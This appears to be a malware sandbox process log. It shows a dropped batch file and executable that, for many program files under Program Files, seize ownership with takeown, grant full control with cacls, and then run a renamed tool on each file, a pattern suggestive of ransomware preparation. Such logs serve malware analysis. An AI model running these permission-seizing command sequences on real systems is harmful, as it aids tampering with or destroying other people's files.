C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "MahjongMCE.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "MahjongMCE.png" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PurblePlaceMCE.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PurblePlaceMCE.png" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png"3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "SpiderSolitaireMCE.png" -nobanner3⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Microsoft Games\Solitaire\SolitaireMCE.png""2⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Java\jre7\bin\server\classes.jsa""2⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\de-DE\Journal.exe.mui""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\de-DE\Journal.exe.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "Journal.exe.mui" -nobanner3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\de-DE\Journal.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\en-US\PDIALOG.exe.mui""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\en-US\PDIALOG.exe.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PDIALOG.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PDIALOG.exe.mui" -nobanner4⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\en-US\PDIALOG.exe.mui" /E /G Admin:F /C3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\fr-FR\jnwmon.dll.mui""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\fr-FR\jnwmon.dll.mui"3⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\fr-FR\jnwmon.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "jnwmon.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "jnwmon.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\PDIALOG.exe""2⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\Templates\Shorthand.jtp""2⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Mail\it-IT\msoeres.dll.mui""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\it-IT\msoeres.dll.mui"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "msoeres.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "msoeres.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui"3⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui"3⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\it-IT\NBMapTIP.dll.mui""2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe""2⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\de-DE\NBMapTIP.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\de-DE\NBMapTIP.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\de-DE\NBMapTIP.dll.mui"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "NBMapTIP.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "NBMapTIP.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\es-ES\jnwdui.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\es-ES\jnwdui.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\es-ES\jnwdui.dll.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "jnwdui.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "jnwdui.dll.mui" -nobanner4⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\fr-FR\MSPVWCTL.DLL.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\fr-FR\MSPVWCTL.DLL.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\fr-FR\MSPVWCTL.DLL.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "MSPVWCTL.DLL.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "MSPVWCTL.DLL.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\ja-JP\JNTFiltr.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\ja-JP\JNTFiltr.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\ja-JP\JNTFiltr.dll.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "JNTFiltr.dll.mui" -nobanner3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "JNTFiltr.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\Templates\Dotted_Line.jtp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Dotted_Line.jtp" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Dotted_Line.jtp"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "Dotted_Line.jtp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "Dotted_Line.jtp" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Mail\de-DE\msoeres.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\de-DE\msoeres.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\de-DE\msoeres.dll.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "msoeres.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "msoeres.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Mail\ja-JP\msoeres.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\ja-JP\msoeres.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\ja-JP\msoeres.dll.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "msoeres.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "msoeres.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "AGMGPUOptIn.ini" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "AGMGPUOptIn.ini" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "bl.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "bl.gif" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "forms_super.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "forms_super.gif" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "review_browser.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "review_browser.gif" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "tl.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "tl.gif" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "Identity-V" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "Identity-V" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "MyriadPro-Bold.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "MyriadPro-Bold.otf" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "SC_Reader.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "SC_Reader.exe" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "brt55.ths" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "brt55.ths" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "usa03.hsp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "usa03.hsp" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "CYRILLIC.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "CYRILLIC.TXT" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT" /E /G Admin:F /C3⤵
-
